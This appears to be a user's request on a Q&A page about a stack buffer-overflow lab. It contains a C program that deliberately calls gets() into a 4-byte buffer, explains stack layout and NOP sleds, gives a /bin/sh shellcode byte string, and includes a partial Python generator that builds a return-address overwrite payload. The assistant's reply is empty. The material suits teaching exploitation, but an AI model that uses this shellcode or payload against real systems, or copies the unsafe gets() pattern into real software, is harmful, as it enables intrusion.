vulnprogram.c: #include <stdio.h> #include <stdlib.h> #include <string.h> char passwd[]…
- User
vuln_program.c: #include <stdio.h> #include <stdlib.h> #include <string.h>
char passwd[] = "asd"; char usr_input[4];
void target() { printf("You have entered the correct passwd\n"); exit(0); }
void prompt(){ char buf[4]; gets(buf); strncpy(usr_input, buf, 4); }
int main(){ prompt(); if(strcmp(usr_input, passwd) == 0) { target(); }else { printf("Wrong passwd!\n"); exit(1); }
codereturn 0;}
Target function address is 08049196.
The following will try to help you understand attack string: Stack layout of vulnerable program contains buf which is 4 bytes, Other vars which is 8 bytes, %ebp which is 4 bytes, %eip and &arg1 while the prompt function invoking. The goal is to overwrite the buffer until return address(%eip) on the stack has contains the target function address. Based on this, construct you attack string carefully. One thing to be aware is the address in little-endian format. For example, if target address is ”0xdeadbeef”, then the bytes of return address at RA will be RA[0]:ef, RA[1]:be, RA[2]:ad, RA[3]:de.
Stack layout of launching shellcode contains buffer, return address %eip, nop nop nop....., injected code. Overwrite the buffer in a specific way that:
- Overwrite the buffer with padding.
- Overwrite the return address(%eip) on the stack with a guessed address that probably will jump to the injected malicious code.
- nops(0x90) can be filled in the between the return address and injected malicious code to increase the chance that injected malicious code will be executed. The nop instruction will do nothing but jump to the instruction.
- The shellcode then provided as payload at the end of the overwrite.
The shellcode that is used to launch a shell is provided as following: "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
Use the attack program to generate the attack payload for this shellcode exploitation. attack.py: import sys
def generate_attack_string(target_addr): # Convert the hexadecimal address from a string to an integer addr_int = int(target_addr, 16)
code# Convert the address to little-endian format little_endian_addr = addr_int.to_bytes(4, byteorder='little') # Construct the attack string # buf[4] + other vars[8] + %ebp[4] + %eip[4] # Total payload size = 4 (buf) + 8 (other vars) + 4 (%ebp) # And then we append the little_endian_addr to overwrite %eip payload_size = 4 + 8 + 4 padding = b'A' * payload_size attack_string = padding + little_endian_addr return attack_string - Assistant